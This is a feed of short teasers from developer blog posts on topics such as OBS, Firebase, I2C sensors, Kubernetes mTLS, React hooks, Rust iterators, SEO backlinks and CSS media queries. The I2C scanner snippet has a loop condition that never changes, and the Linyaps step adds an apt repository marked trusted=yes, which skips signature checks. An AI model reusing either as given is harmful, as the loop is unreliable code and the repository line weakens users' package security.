    Ever tried to record your screen only to get hit with a watermark… or worse, a “free trial” that ends before you even finish your first video? Been there. That’s why I’ve spent the last few months testing screen recorders that are actually free, including one you’ve probably heard of — OBS Studio. I’ll walk you through what it does, how to get started, and my top picks for alternatives if OBS feels like too much. Whether you’re a content creator, online teacher, gamer, or just trying to record a Zoom call, this post has something for you. 🎯 What Is OBS Studio? It’s used by: 🎮 Twitch streamers for live gameplay 📹 YouTubers for tutorials and reviews 🧑‍🏫 Teachers and trainers for lessons 🎙️ Podcasters and vloggers And with the 2025 update, it’s even more stable and beginner-friendly than ever. 🛠️ Key Features I Love ✅ High-quality screen recording (up to 4K @ 60fps) ✅ Scene and source switching — add webcam, overlays, browser windows, and more ✅ Pro-grade audio mixer with noise suppression, gain control, and sync offset ✅ No watermark, no limits ✅ Plugin support + custom hotkeys ✅ Hardware encoding (NVENC, AMD, etc.) for smooth performance For a tool that costs nothing, the feature set rivals paid software. 🔒 How to Get Started Safely No logins. No spam. Just clean install files. Want the full walkthrough and a list of beginner-friendly alternatives? 👉 Read the complete guide on FreeToolVerse 🎬 Not Feeling OBS? Try These Alternatives Tool Best For Platform 🧠 Pro Tips I Wish I Knew Earlier 💚 Add a Chroma Key filter to clean up your webcam background 🎧 Record multiple audio tracks for easier post-editing 🔄 Use Studio Mode in OBS to prep scenes before going live These are small tweaks that seriously boost quality and control.  ( 6 min )
    For Angualr developper that use NgRx SignalStore, you will love it !
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    🔥 Firebase Storage: Easy Setup & File Listing.
    "Firebase is a Backend-as-a-Service (BaaS) platform developed by Google that helps developers build web and mobile apps faster without managing traditional server-side infrastructure." 1. Create a New Project Click on “Add Project” or “Create Project” Give your project a meaningful name (e.g., MyFirebaseStorageDemo) Follow the guided steps and click Finish to set up the project. 2. Enable Firebase Storage Go to the left sidebar and click on “Build > Storage” Click “Get Started” and choose your storage location (pick the one closest to your users). 3. Upgrade to Blaze Plan Go to Project Settings > Usage and billing. Select Blaze Plan (first $1 is often free as part of a trial) 4. Set Storage Rule rules_version = '2'; service firebase.storage { match /b/{bucket}/o { match /{allPaths=**…  ( 6 min )
    Seeking Currency API for .NET Microservice Project
    Hi devs👋 I’ve started what might be my most challenging pet project yet😎: ASP.NET Core backend Microservice architecture JWT Auth SignalR (for real-time updates) I`m gonna use an external api to get information about currencies. Which free API would you recommend? I bet I'll make more posts about my pet project soon✨.  ( 5 min )
    How to read data from I2C or SPI-based sensors?
    Reading data from I2C or SPI sensors with microcontrollers (like Arduino, STM32, or ESP32) involves understanding the protocol, wiring, and communication steps. Below is a concise guide for both interfaces. 1. Reading from I2C Sensors I2C Basics 2-wire interface (SDA = data, SCL = clock). 7-bit addressing (common sensors: 0x68 for MPU6050, 0x27 for LCD, etc.). Master-slave communication (microcontroller = master, sensor = slave). Steps to Read Data (1) Wiring (Add pull-up resistors (4.7kΩ) if not built into the sensor.) (2) Scan for I2C Address (Optional) cpp #include void setup() { Wire.begin(); Serial.begin(9600); Serial.println("Scanning I2C devices..."); for (byte addr = 0; 0x00 < 0x80; addr++) { Wire.beginTransmission(addr); if (Wire.endTransmission() == 0) …  ( 6 min )
    Is my phone eavesdropping on me?
    Is My Phone Eavesdropping on Me? How Can We Use Smartphones Wisely? Almost every person — regardless of age, profession, or location — uses a smartphone. Concerns about privacy, data tracking, and screen addiction affect all of us. I think this is a good topic for discussion..  ( 5 min )
    Demystifying mTLS in Kubernetes: Certs, Components, and Cluster Security.
    🧩 Introduction When we talk about Kubernetes security, most developers think of Role-Based Access Control (RBAC) or Network Policies. But before these higher-level controls come into play, there's a foundational layer that silently ensures every component in the cluster is speaking to a trusted source — mutual TLS (mTLS). In a self-managed Kubernetes cluster, unlike cloud-managed solutions like EKS or GKE, you're responsible for configuring, maintaining, and rotating these certificates. Understanding how mTLS works—and knowing where each certificate lives—gives you deeper visibility into the cluster's internal trust system and can help you troubleshoot or harden your deployment. This post will walk you through: What mTLS means in the Kubernetes control plane Which components use certifi…  ( 8 min )
    SQL migration : SPL Lightweight Multisource Mixed Computation Practice #7
    The application may work based on different databases. Databases use similar SQL syntax, but they offer different implementations. As a result, SQL statements need to be modified, only manually. This involves a huge amount of work and becomes error-prone. Completely automated modifications are nearly impossible. After all, different databases probably offer different functionalities. But an examination shows that most obstacles result from the different syntax of SQL functions. The date and string-related functions, in particular, do not have an industry standard. Different database products have different implementations. To transform string "2020-02-05" to date data, for example, they offer different syntax. ORACLE: select TO_DATE('2020-02-05', 'YYYY-MM-DD') from USER SQL Server: select …  ( 13 min )
    Bridging the Gender Gap in STEM — One Step at a Time
    STEM — science, technology, engineering, and math — is changing the world we live in. From building apps and curing diseases to solving climate issues and sending rockets into space, STEM is where the future is being shaped. But here’s the thing: women are still hugely underrepresented in these fields. So, what’s holding us back? And more importantly, what can we do about it? Let’s Start with the Facts In areas like AI, cybersecurity, and system design, the number of women is even lower — sometimes under 15%. Many girls lose interest in STEM subjects by the time they reach high school, often because they don’t see enough role models who look like them or because they’re told — subtly or directly — that it’s “not for them.” This gender gap isn't just a diversity problem — it's a missed oppo…  ( 7 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside’s new “Weapons” trailer teases a high-octane action RPG where you’ll swap weapons on the fly, chain crazy combos and dial into your enemies’ moves—all wrapped in jaw-dropping visual effects as you fight to save your little sister (and, you know, humanity). Set your alarms for August 29: Ultizero Games is bringing this adrenaline dump of a title to PS5 and PC. Watch on YouTube  ( 5 min )
    The Tech Career Map You Didn’t Know You Needed (Until Now)
    If I had a dollar for every time someone came to me asking: “Hey Lady Bella! I want to get into tech, what should I do?” …I’d probably be writing this article from a beach somewhere in Bali. Over the years, friends, family, community members, and even complete strangers have reached out to me with this question. And while I love helping, I’ve realized something important: I can’t choose a career path for you and I can't answer same question to 100s of people either. So what did my cute brain suggest? I had the bright idea to put together an article that covers most of the tech fields I know and try to provide as much clarity as I can. That way, you can pick the one that matches your personality, skills, and goals. So, if you’ve been wondering where you fit in this vast and exciting industr…  ( 14 min )
    Profile Backlinks: The Power of Building Links from a Backlink Website List
    In the vast and competitive world of SEO, backlinks remain one of the most powerful ranking factors. While strategies like guest posting and editorial backlinks get most of the attention, profile backlinks offer an easy, effective, and scalable way to build authority—especially when you're just starting out. In this article, we’ll break down everything you need to know about profile backlinks: what they are, why they matter, how to build them properly, and where to find a curated backlink website list to supercharge your SEO efforts. Profile backlinks are links you create by registering on various websites, forums, directories, or platforms and adding your website link in your public profile. These links are typically placed in the “Website”, “Bio”, or “About Me” sections of the account an…  ( 8 min )
    The Difference Between useEffect and useState: A Simple React Guide
    Hey everyone, Rhythm Saha here! I'm the founder of NovexiQ, and as a fullstack web developer, I'm usually deep-diving into the MERN stack and Next.js. But today, I want to pull back from the super advanced stuff for a bit. Let's talk about two fundamental React Hooks that are absolutely essential for *any* aspiring developer, no matter where you are on your journey: useState and useEffect. Honestly, when I first started building components, figuring out when to use useState versus useEffect felt like a real puzzle. It was a common struggle, and I totally get it if you're feeling that way too! But trust me, once you grasp their core purposes, they become incredibly powerful tools in your React arsenal. This post is all about making their differences super clear and showing you how to really…  ( 11 min )
    How AI Empowers Programmers
    Artificial Intelligence (AI) has become a game-changer for developers, transforming how we code, debug, and deliver projects. AI tools are not just fancy add-ons—they’re essential partners that boost productivity, creativity, and problem-solving. Whether you’re a solo coder or part of a large team, here’s how AI is empowering programmers today. AI-powered coding assistants like GitHub Copilot, Tabnine, or even Grok (yep, that’s me!) are revolutionizing code creation: Code Suggestions: AI generates boilerplate code, function stubs, or entire algorithms based on context. For example, type “create a REST API endpoint” and get a working snippet in seconds. Autocompletion: AI predicts the next line of code, saving keystrokes and mental energy. It’s like having a pair-programming buddy who kno…  ( 8 min )
    What is Domain Control Validation?
    Meaning Domain Control Validation (DCV) is a process used by Certificate Authorities (CAs) to verify that the applicant for an SSL/TLS certificate is authorized to use the domain for which the certificate is requested. In essence, it's a way for CAs to confirm you own or control the domain before issuing a certificate. This ensures that the certificate, and the secure connection it enables, are issued to the rightful owner of the domain. Benefits Blocks Unauthorized Certificate Issuance It is one of the biggest threats in cybersecurity situations that might involve attackers seeking and acquiring an SSL/TLS certificate corresponding to a domain they do not own. Once a cybercriminal acquires and becomes a trusted level with a certificate associated with a domain, a convincing phishing websi…  ( 6 min )
    Reactive Programming with RxJS
    Reactive Programming with RxJS: A Deep Dive Introduction Reactive Programming (RP) is a declarative programming paradigm focused on data streams and the propagation of change. Think of it as an asynchronous dataflow where changes are automatically propagated through the system. Imagine a spreadsheet: when you change a cell's value, all other cells that depend on it automatically update. Reactive Programming aims to achieve this dynamism and responsiveness in software development. RxJS (Reactive Extensions for JavaScript) is a library that brings the principles of Reactive Programming to JavaScript. It provides a powerful set of tools for working with asynchronous data streams, events, and interactions, making it a cornerstone for modern web and application development. By using RxJS, dev…  ( 8 min )
    Screen Sharing 101: How to Use Miracast to Mirror Android to PC Without Third-Party Software
    I had a need to mirror my Android screen to my computer, and I found a really convenient way to do it — using Wireless Display, a built-in feature included for free in Windows. This method allows you to share your mobile screen with your PC without using any third-party apps. Miracast is a wireless technology that allows you to transmit both video and audio from one device to another via Wi-Fi Direct — no HDMI cables or additional apps required. Often referred to as “wireless HDMI”, Miracast supports high-resolution streaming, including 1080p and even 4K, depending on your hardware capabilities. 1. 🟠 Wi-Fi Direct (P2P / Ad-hoc) No router or access point (AP) is required Temporarily disconnects the phone from its current Wi-Fi This is the classic Miracast mode (defined by the Wi-Fi Allian…  ( 10 min )
    AI's Not Your Savior - It's a Wild Pantheon, and You're the High Priest. Here's How to Win by Mixing Gods and Tools.
    Cuzzy, let's be real - every time people start shouting about AGI like it's some second coming, I just smile. You'd think the way they talk, there's one massive god-tier AI about to descend from the cloud and start handing out verdicts, replacing jobs, coding startups from scratch, reading your thoughts before your IDE even boots up. But step out of the Twitter thinkpieces, unplug from the hype, and look at what's actually happening in the trenches - dev trenches, real workflows, everyday chaos. What you'll see isn't some singular AI deity. It's a bloody pantheon. I'm talking gods. Plural. Each with its own flavour, its own superpower, its own weakness. You want clarity on a tricky Laravel middleware edge case? Claude 4. You want raw generative muscle for code or writing? GPT's got the ben…  ( 8 min )
    How I learned to stop worrying and love edge computing
    So you're building something cool and need to choose between AWS Lambda and Cloudflare Workers? Been there, done that, got the t-shirt (and probably a few sleepless nights debugging cold starts). Let me save you some time and share what I've learned from wrestling with both platforms in production. Before we dive into the nitty-gritty, let's talk about what makes these platforms fundamentally different. It's not just about branding or pricing—we're looking at two completely different approaches to running code in the cloud. AWS Lambda is like having a really smart building manager. When someone needs an apartment (your function), they either give you an existing one that's ready to go, or they go build a new one from scratch. This can take anywhere from milliseconds to several seconds, dep…  ( 8 min )
    Test Your API First Before Launch Any App
    API security testing is the process of evaluating the defenses of APIs to ensure they are resistant to vulnerabilities and unauthorized access. It is also now a major part of the software development lifecycle (SDLC), where developers even test the API before they are deployed. Businesses hire cybersecurity companies to perform API security testing to find vulnerabilities or weak points through which attackers can infiltrate the system. As a result, you can know where the security flaws lie and take the necessary steps to fix them. Importance of API Security Testing for Companies The fast growth of digital changes and the widespread use of APIs have led to a new era where systems and services are more connected. However, relying more on APIs also brings new security challenges. Integratio…  ( 7 min )
    Excited to Share My Full Stack Development Journey! 🚀
    🎉 I'm happy to share that I’ve successfully completed a 6-month Java Full Stack Development program and an internship at Pragmatyc Global Pvt Ltd (formerly Maximist For Edification and Software Solutions Pvt Ltd), Nagpur, from February to June 2025. 💻 During this journey, I worked with modern technologies like HTML5, Tailwind CSS, React.js, Spring Boot, Spring Security, Spring Data JPA, and MySQL 🛠️. I also gained hands-on experience in AWS EC2 ☁️ by deploying and managing real-time applications. Grateful for this opportunity and excited to take the next step in my career path! 🚀  ( 5 min )
    Day 24 of #100DaysOfRust: Loops vs Iterators & Zero-Cost Abstractions
    Welcome to Day 24! Today I explored how to choose between using loops or iterators in Rust and why iterators are preferred in most idiomatic code. I also learned about zero-cost abstractions, an important concept in systems programming that Rust excels at. At first glance, using a traditional for loop might feel more intuitive, especially if you’re coming from C-style or JavaScript programming. But Rust encourages using iterators for a cleaner and more expressive approach. Focus on what needs to be done, not how. Cleaner and more declarative. Less boilerplate. Easier to reason about complex chains of operations. Iterators abstract away common loop mechanics and let you concentrate on the filtering, mapping, and reducing logic. Think of iterators as the Rusty version of chaining methods in …  ( 6 min )
    Extreme Programming (XP): A Deep Dive into Agile Coding Practices
    If you think Agile is all about stand-ups and sprints… you're only scratching the surface. Agile methodology that’s laser-focused on writing better code, faster — and it's not Scrum. It's called Extreme Programming (XP) — and it's a game-changer for developers who care about clean code, tight feedback loops, and high-quality software delivery. Let’s dive deep into how XP can upgrade your development mindset — and help you ship better software without burning out. XP is an Agile framework that focuses on improving software quality and responsiveness through frequent releases in short development cycles, which improves productivity and introduces checkpoints at which new customer requirements can be adopted. It was created by Kent Beck in the late '90s, and while many developers know the na…  ( 7 min )
    New Discovery on Ubuntu 24.04: A Faster, Lighter Package Manager – Linyaps
    As a long-time Ubuntu user—from 18.04 to 24.04—I’ve always appreciated the system’s stability. However, when it comes to package management, things can become a bit frustrating. For non-repo apps, I often fall back on Flatpak. It has a solid ecosystem, but let’s be honest: it’s heavy, slow to launch, and not exactly snappy for lightweight tools. So recently, I’ve been on the lookout for alternatives. When deepin 25 launched, I noticed they introduced a new package manager called Linyaps. Having been a deepin 15 user in the past, I decided to give it a shot. Installation: Surprisingly Simple Linyaps Website echo "deb [trusted=yes] https://ci.deepin.com/repo/obs/linglong:/CI:/release/xUbuntu_24.04/ ./" | sudo tee /etc/apt/sources.list.d/linglong.list After installation, I tried a few basic apps. The command-line tool ll-cli works similarly to apt, perfect for terminal-savvy users. Linyaps App Store It can also download the app store client. Uninstalling or updating apps can only be done through this client, though. That said, it only seems to have a Chinese interface so far – I couldn’t find an option to switch to English. Maybe that’s still in the works; hope they iron that out soon. Real-World Experience Even after just a few hours of use, Linyaps runs surprisingly smoothly on Ubuntu 24.04. It feels faster than Flatpak and hasn’t shown any compatibility issues so far. Sure, it doesn’t have the massive ecosystem Snap/Flatpak has yet, but for daily use? Definitely worth trying. Ubuntu #Linux #System #OS #Package  ( 6 min )
    Setup PocketBase For Your Integration Tests with TestContainers and xUnit
    I've recently started writing about how I'm building PocketBase.Net in the Building PocketBase.Net Step by Step series. However, I haven't had the opportunity to go over what was already in place. In particular, having a robust testing suite with both unit and integration tests was a very important point for me, as the library could potentially be used by others to manage their data, which is often the most critical part of applications. In this article, I will explain how I set up a working testing environment for my integration tests, using a dockerized PocketBase instance with TestContainers. As software engineers, we are (I hope) used to testing our code. However, there are a lot of ways to test it, with the most common from my experience being: "Local" testing: you just developed a fe…  ( 8 min )
    The Hidden Power of Next.js 15 in Your Hands
    Hey to all you pioneering programmers and those striving to build the best in the web world! 😎 Next.js 15, with its new and revolutionary features, has become an unparalleled companion for building extraordinary web applications. If you want to know how you can transform the speed, scalability, and user experience of your projects, let's take a look at the magic of this new version! Next.js has always been at the forefront of web development, but version 15, with its focus on the App Router and the default concept of Server Components, marks a major leap. The App Router significantly improves the developer experience by offering better file organization and a new approach to routing and data management. This means you no longer have to worry about the complexities of server-side rendering…  ( 8 min )
    Understanding Asset Models: Why They Matter in ITAM
    Your company just ordered a batch of new laptops, but when they arrive, some of them are different models from those expected. IT updates the inventory, but the records are inconsistent. Some assets are listed by brand name, others by serial number, and a few have no details at all. When audit time comes, everything turns into a scramble. This situation is more common than most businesses realize. With so many devices, applications, and licenses to manage, things can get messy fast if there’s no clear structure in place. Asset models help solve this problem by standardizing how assets are recorded and managed, based on details like make, model, and specifications. What an asset model is, and why it matters in IT Asset Management (ITAM)? An asset model is a way to describe a specific versio…  ( 11 min )
    LLMs - Embeddings 01
    Word Embeddings An assignment of words to numbers is called a word embedding. Consider an example, suppose we have a 2D plane and at multiple coordinates we have some labels like apple, banana, mango are near to each others coordinates, similarly carrot, radish and potato are near each other, and laptop, mobile, TV are far from the vegetables coordinate and fruit coordinate also. Now if we have to place "orange" then think around which coordinates it should be place? It should be placed with fruits, near banana, mango and apple. Words that are similar should correspond to points that are close by. Words that are different should correspond to points that are far away. There is something more to these word embeddings, and it is that they don’t only capture word similarity, but they also c…  ( 8 min )
    How I Built and Launched a Multi-Language SEO-Friendly Tools Website in One Week with AI
    🚀 Shipped in 7 days, 15 languages supported 🧠 Used Claude for translation, JSON-LD, FAQ, meta tags ⚡ Copilot helped 10x speed UI scaffolding 💡 SEO-first: hreflang, sitemap.xml, JSON-LD, localized meta 💰 No backend, no server, deployed on Cloudflare Pages “No traffic. No users. Just code. I launched anyway.” I’m an indie hacker. I’ve seen this idea floating around a lot: "Build tools + SEO + AdSense = 💰" So I gave myself 7 days to test it seriously — and built VictoryHub.cc, a fully responsive, SEO-optimized, multi-language tool site with 10+ utilities, shipped solo with the help of AI. But here’s the honest part: I launched to silence. 0 traffic. 0 followers. Still, this is probably the most productive and replicable build I've done. Framework: Next.js 15 (App Router) Hosting: Cloudfl…  ( 7 min )
    My Private AI Assistant: No More Privacy Worries
    Are you tired of AI assistants that send your every query to a massive cloud server, leaving you to wonder what happens to your data? The lack of privacy and control was a huge frustration for me, so I decided to do something about it. I built a completely local AI assistant that runs on my desk, is powered by Ollama from my old Laptop, and never, ever sends my information to the cloud. This is a story about taking back control of my personal data. In a world where almost every smart device is connected to the internet and constantly transmitting data, the idea of a truly private assistant seemed like a dream. But it doesn't have to be. I wanted a personal AI that was fast, secure, and most importantly, private. By building a self-contained system, I could guarantee that all my conversati…  ( 6 min )
    10 Payment Methods for Freelancers and Solo Exporters in Cross-Border Trade
    PayPal BlockATM (Stablecoin Payment Gateway) Western Union Wise (formerly TransferWise) Stripe PingPong XTransfer Hong Kong Bank Account Yiwu Sole Proprietor Account Airwallex Final Thoughts Transaction size Customer location Cash flow flexibility Regulatory compliance Each method has trade-offs. By understanding the pros and cons, you can ensure that your payment process is secure, efficient, and cost-effective.  ( 6 min )
    🚀 I Just Launched *IntraVybe* — A Fresh Take on Social Media for Images, Audio, and Video!
    Hey Devs! 1.5+ years of indie development, dozens of setbacks, failed launch dates, rebuilding from scratch (sometimes literally), and a mountain of Firebase and Flutter challenges — I’ve finally launched my app: IntraVybe! 🎉 I started this journey with a simple thought: “What if people could express themselves in more than just photos or texts, in a way that’s still social, but more personal, more creative, and more flexible?” We already have the Instagrams and TikToks of the world, but I wanted to build something lighter, faster, and friendlier for creators of all kinds — whether you're posting memes, thoughts, music, or just testing out an idea. IntraVybe is a lightweight social media app that allows users to: 📷 Post images (single or multiple) 🔊 Upload audio tracks (can be original …  ( 6 min )
    Learn React.js: A Beginner’s Guide to Building Dynamic Web Apps topic
    In today’s fast-paced world of web development, building responsive and interactive user interfaces is more important than ever. React.js, developed and maintained by Facebook, has become one of the most popular JavaScript libraries for building modern web applications. If you're new to React or even new to front-end development, this guide is the perfect place to start your journey. What is React.js? React.js is a JavaScript library used for building user interfaces, especially single-page applications, where content updates dynamically without reloading the whole page. It allows developers to create large web applications that can update and render efficiently with changing data. React is component-based, meaning your entire application can be broken down into smaller, reusable pieces of…  ( 7 min )
    What are Back links?
    A backlink is a link created when one website links to another. Backlinks are important for both helping people discover your website and improving your ranking on search engines like Google. Think of backlinks as trust signals or votes of confidence from other websites. The more high-quality backlinks your website has, the more likely it is to rank higher in search results. For example, imagine you run an online bookstore. If a popular blog about reading links to one of your pages, that link becomes a backlink for your site. It not only brings more readers to your store but also tells search engines that your website is credible and valuable. Learn how to check and analyze backlinks, which backlinks will be worth your time, and where to get them.  ( 5 min )
    PageMind, Real-Time Collaborative Web Summarization Powered by Redis 8's Lightning-Fast Cache
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. PageMind is a Chrome extension that revolutionizes how teams consume and share web content through AI-powered summarization with real-time collaboration. Built specifically to showcase Redis 8's capabilities as a real-time AI data layer, PageMind transforms slow, expensive AI operations into lightning-fast collaborative experiences. Information Overload: Teams struggle to keep up with vast amounts of web content Repeated AI Costs: Multiple team members summarizing the same content wastes API calls No Collaboration: Traditional summarizers work in isolation Language Barriers: Global teams need content in their preferred languages Instant Summaries: Redis caching reduces response time from 3-5 seconds to <50ms Team Ro…  ( 8 min )
    Perl 🐪 Weekly #732 - MetaCPAN Success Story
    Originally published at Perl Weekly 732 Hi there, MetaCPAN's recent battle against mounting traffic abuse stands as a powerful testament to the resilience and ingenuity of open‑source infrastructure teams. After enduring recurring 503 outages that jeopardized service for Perl hackers worldwide, the MetaCPAN team embarked on a disciplined, data‑driven counterattack. What began with rudimentary logs, robots.txt tweaks and manual IP bans evolved into a robust partnership with Datadog and Fastly, enabling real‑time visibility and proactive defense. With the deployment of sophisticated rate‑limiting rules, user‑agent filtering, next‑generation WAF protections and a dynamic challenge system, MetaCPAN has successfully blocked some 80 percent of malicious traffic—including AI scrapers—while delive…  ( 16 min )
    If a Veteran Coder Is Skeptical About AI, We Shouldn't Worry About Our Coding Jobs
    I originally posted this post on my blog. Pierre started coding back in the 60s and still maintains a 30-year-old codebase. Thanks to the magic of the Internet, and to one of my posts going viral, I've exchanged a couple of emails with Pierre. I don't know him in real life, just on the Internet. His story has captivated me from the beginning. I know only about a few industry veterans, and even fewer who are still actively coding. Since the 60s, Pierre has gone through every boom and hype in this industry. He witnessed the Y2K panic, the birth of Java, the rise of Agile, and probably more that I don't remember now. In one of our emails, I asked Pierre about his take on AI. Today, we only see headlines of CEOs claiming AI generates most of their code, along with headlines saying coders are doomed. But, here's what Pierre, with his wealth of experience, told me about AI (slightly edited for brevity): I'm skeptical about AI. I just don't see automatically generating code from typical imprecise specifications...Apparently we've run out of Internet on which to train AI. It is now feeding on its own hallucinations, like mad cows eating their own prion-riddled offal, or the inbred Hapsburg dynasty. If Pierre, who has seen quite a lot, is skeptical, we shouldn't be worried. I'm not. Pierre reminded me of that joke/meme that we're still safe because AI needs unambiguous and well-written requirements. As long as clients who don't know what they want exist, we're still in business. I don't think AI is taking our jobs anytime soon. Sure, we have to adapt. AI is changing the landscape. For sure, coding in 2034 will look different. Coding today doesn't look the same as coding back in the 70s. We can't ignore AI. AI is like using calculators in math classes. They make us faster, sure, but they can't do the thinking for us. Starting out or already on the software engineering journey? Join my free 7-day email course where I distill 10+ years of career lessons so you can skip the trial and error and avoid costly mistakes.  ( 6 min )
    lstrip in Python
    Buy Me a Coffee☕ *Memos: My post explains strip() with a string and byte string. My post explains rstrip() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.lstrip() and bytes.lstrip() or bytearray.lstrip() can remove zero or more characters(chars) from the left character of a string and byte string respectively one by one as shown below: *Memos: The 1st argument is chars(Optional-Defualt:None-Type:NoneType, str for str.lstrip()) or bytes-like object for bytes.lstrip() and bytearray.lstrip()): It's the zero or more characters to remove from the left character of a string or byte string one by one. Its each character is considered one by one so it's not a prefix. If it's not set or None, " " is set. Don't us…  ( 6 min )
    🚀 Spring Boot Microservice Orchestration with Temporal
    📘 Overview In modern distributed systems, orchestrating long-running microservice workflows is a daunting task—especially when you care about state persistence, retries, and observability. Enter Temporal.io: an open-source, developer-friendly workflow orchestration engine that offers fault-tolerant, event-driven state management out-of-the-box. In this blog, we’ll walk through: The need for orchestration in microservices Why Temporal over alternatives (e.g., Camunda, Netflix Conductor) Core concepts of Temporal (Workflow, Activity, Worker) Setting up a Spring Boot microservice with Temporal Designing and implementing an orchestration workflow Error handling, retries, and versioning Observability & production best practices Microservices often rely on choreographed communication (event-d…  ( 7 min )
    测试文章1DEV.to专属
    测试文章1DEV.to专属这篇文章将只发布到DEV.to平台## 内容特点- 针对DEV.to社区的技术文章- 使用直接内容模式- 包含代码示例 javascriptconsole.log('Hello DEV.to!'); 适合开发者阅读的技术内容  ( 5 min )
    strip in Python
    Buy Me a Coffee☕ *Memos: My post explains lstrip() with a string and byte string. My post explains rstrip() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.strip() and bytes.strip() or bytearray.strip() can remove zero or more characters(chars) from the left and right character of a string and byte string respectively one by one as shown below: *Memos: The 1st argument is chars(Optional-Defualt:None-Type:NoneType, str for str.strip()) or bytes-like object for bytes.strip() and bytearray.strip()): It's the zero or more characters to remove from the left and right character of a string or byte string one by one. Its each character is considered one by one so it's not a prefix and suffix. If it's not set or …  ( 6 min )
    Custom Middleware in ASP.NET Core
    Middleware manages requests and responses in a modular, pipeline-based manner. It processes HTTP requests and can execute actions before forwarding the request to the next middleware or returning a response to the client. How Middleware Works? This diagram illustrates how middleware operates in an .NET Core application pipeline. Let’s break down each component: HTTP Request: An incoming HTTP request enters the application and moves through each middleware in the pipeline’s defined order. Middleware 1, Middleware 2, and Middleware 3: These are various middleware components, each executing specific logic as the request progresses through the pipeline. Logic Before: Each middleware has a “Logic Before” section to perform actions or checks before passing the request further. Tasks may inclu…  ( 8 min )
    [Boost]
    Developer-First Documentation: Why 73% of Teams Fail and How to Build Docs That Actually Get Used Pratham naik for Teamcamp ・ Aug 4 #webdev #productivity #devops #opensource  ( 5 min )
    🔥 CascadeX – Smart CSS Optimization for Modern Developers
    Is your CSS bloated with duplicates, messy selectors, or outdated styles? Say hello to CascadeX — a smart, blazing-fast CSS optimizer built for developers who care about performance and clean code. CascadeX is a free web-based tool that automatically: 🧹 Removes duplicate CSS selectors 🧠 Merges matching declarations 🧪 Lets you preview changes before applying 📉 Minimizes file size while keeping styles intact 🔐 Works 100% locally in your browser (no upload required) Whether you're working on a legacy project or a sleek new UI, CascadeX helps you clean your stylesheets without the risk of breaking layouts. ✅ Easy-to-use, no installation needed ✅ Works with large and complex CSS files ✅ Smart merging of duplicate rules ✅ Real-time output preview ✅ Built by FireXCore for modern dev teams 🔗 https://cascadex.firexcore.com Just paste your CSS and hit Optimize. You'll instantly see a cleaner, smaller version of your stylesheet. /* Before */ .card { background: white; padding: 20px; } .card { padding: 20px; border-radius: 10px; } ` ⬇️ css Optimized CSS improves: Page load speed Code maintainability Readability and collaboration Overall UX performance We're actively improving CascadeX and welcome your feedback! FireXCore.com or share suggestions/issues directly from the site. We're a team focused on building high-performance tools for developers and enterprises. 🔗 Use CascadeX Now → Cleaner CSS. Faster websites. Smarter development.  ( 6 min )
    How To Understand Data Types, JavaScript & Keywords (var, let, const, without Keywords)
    When you start learning JavaScript first you should know data types and keyword because these are building block of coding What is JavaScript? JavaScript Keywords for Variables: Key words 4 types * var: variable is identifies and reference it can change redeclared and updated. And its function Scoped example: * let : Cannot be redeclared, but can be updated. // let age = 30; (cannot redeclare) const : Used for values that should not change. Without Keyword : JavaScript Data Types What is Data types (Data its Information): *primitive data types (String, number, Boolean, BigInt, Symbol, Undefind, null) Number: 10,2.15 *Primitive Data types in java: * Byte - 8 bit short - 16 bit int - 4 byte long - 8 byte float - 4 byte Double - 8 byte Char - 2 byte Boolean - True or False  ( 6 min )
    [Boost]
    Developer-First Documentation: Why 73% of Teams Fail and How to Build Docs That Actually Get Used Pratham naik for Teamcamp ・ Aug 4 #webdev #productivity #devops #opensource  ( 5 min )
    TIL - CSS Media Queries
    Mastering the Viewport: An Intro to CSS Media Queries When we create a website, we want it to look good on every device, from a large desktop monitor to a small smartphone screen. This is the core principle of responsive web design, and the key tool for achieving it is the CSS media query. A media query allows us to apply specific styles only when certain conditions are met, such as the screen width. This means we can serve a different, optimized layout to a user on a mobile device without building a completely separate website. It's how a website can "respond" to its environment. Let's look at a simple example. We'll start with a basic layout that works on desktop, and then use a media query to change it for mobile. Our Default (Desktop) Layout /* Styles for screens larger than 768px (the default) */ .container { display: flex; justify-content: space-between; padding: 20px; background-color: #f0f0f0; } .box { width: 30%; padding: 20px; background-color: #007bff; color: white; text-align: center; border-radius: 8px; } This CSS creates a horizontal row of three boxes, perfect for a desktop screen. The Mobile View: Using a Media Query @media (max-width: 768px) { .container { flex-direction: column; /* Stack the boxes vertically */ align-items: center; /* Center the stacked boxes */ } .box { width: 90%; /* Make the boxes wider to fill the screen */ margin-bottom: 15px; /* Add some space between them */ } } This code tells the browser: "When the screen is 768 pixels wide or less, apply these new styles." The flex-direction: column property is the magic that changes our layout from a row to a stack, and we adjust the box width and margin to make it look great on a phone. By using media queries, you can ensure your web applications are not only functional but also provide a great user experience, no matter how a user is viewing them. It's a fundamental step in building modern, accessible websites.  ( 6 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside’s Weapons Trailer Drops Ultizero Games has just unleashed the “Weapons” trailer for Lost Soul Aside, and it’s a feast of slick combos, weapon-swapping mayhem, and jaw-dropping VFX. You play Kai, battling nightmarish foes in a high-octane quest to rescue your younger sister…and humanity at large. Mark your calendars for August 29! That’s when this action RPG slashes onto PS5 and PC, promising pulse-pounding fights, seamless attack patterns, and tons of style. Don’t miss it. Watch on YouTube  ( 5 min )
    "DevOps Journey: Week 8 - Automating Configuration with Ansible"
    Hey everyone! 👋 I’ve just wrapped up Week 8 of my DevOps journey, where I focused entirely on learning and applying Ansible — the powerful automation tool used widely in production environments. Installed and configured Ansible on Ubuntu Wrote and applied Playbooks using YAML Created and used Inventory Files (static & dynamic) Explored Ansible Galaxy to download and reuse roles Restarted services, installed packages, and configured remote servers Real-time tasks using VMs and EC2 instances Used SSH for secure communication Built modular playbooks for easier reuse Task Status Install Ansible ✅ Inventory Files ✅ Playbooks ✅ Ansible Galaxy ✅ Multi-server Configuration ✅ In Week 9, I’ll move on to Terraform to learn how to provision infrastructure as code. 🌐 My Portfolio 🐙 GitHub 💼 LinkedIn  ( 5 min )
    Streaming Blazor (ASP.Net Core) Logs to the Browser with a custom NLog Target and SignalR
